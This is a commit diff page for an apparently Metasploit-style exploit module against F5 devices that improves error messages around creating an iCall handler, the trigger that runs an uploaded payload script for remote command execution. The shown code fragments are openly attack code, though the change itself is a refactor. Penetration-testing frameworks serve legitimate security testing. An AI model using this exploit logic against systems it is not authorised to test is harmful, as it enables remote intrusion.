Skip to content

Commit ae3d65f

Browse files
committed
Better handling of handler creation output
1 parent bcdf2ce commit ae3d65f

File tree

1 file changed

+14
-5
lines changed

1 file changed

+14
-5
lines changed

modules/exploits/linux/http/f5_icall_cmd.rb

Lines changed: 14 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -152,6 +152,7 @@ def script_exists?(script_name)
152152
end
153153

154154
def create_handler(handler_name, script_name)
155+
print_status("Creating trigger #{handler_name}")
155156
handler_xml = build_xml do |xml|
156157
xml['per'].create(SOAPENV_ENCODINGSTYLE) do
157158
xml.handlers(STRING_ATTRS) do
@@ -168,12 +169,22 @@ def create_handler(handler_name, script_name)
168169
# start/end time it will run once, more or less immediately, and
169170
# again 24h from now, but by that point hopefully we will have
170171
# cleaned up and the handler/script/etc are gone
171-
xml.item 60*60*24
172+
xml.item 60 * 60 * 24
172173
end
173174
end
174175
end
175176
res = send_soap_request(handler_xml)
176-
res && res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler")
177+
if res
178+
if res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler")
179+
true
180+
else
181+
print_error("Trigger creation failed -- HTTP/#{res.proto} #{res.code} #{res.message}")
182+
false
183+
end
184+
else
185+
print_error("No response to trigger creation")
186+
false
187+
end
177188
end
178189

179190
def delete_handler(handler_name)
@@ -229,7 +240,7 @@ def exploit
229240

230241
script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"
231242
print_status("Uploading payload script #{script_name}")
232-
unless create_script_res = create_script(script_name, cmd)
243+
unless (create_script_res = create_script(script_name, cmd))
233244
print_error("No response when uploading payload script")
234245
return false
235246
end
@@ -246,9 +257,7 @@ def exploit
246257

247258
# phase 2: create iCall Handler, that will actually run the previously created script
248259
handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}"
249-
print_status("Creating trigger #{handler_name}")
250260
unless create_handler(handler_name, script_name)
251-
print_error('Payload script uploaded but trigger creation failed')
252261
delete_script(script_name)
253262
return false
254263
end

0 commit comments

Comments
 (0)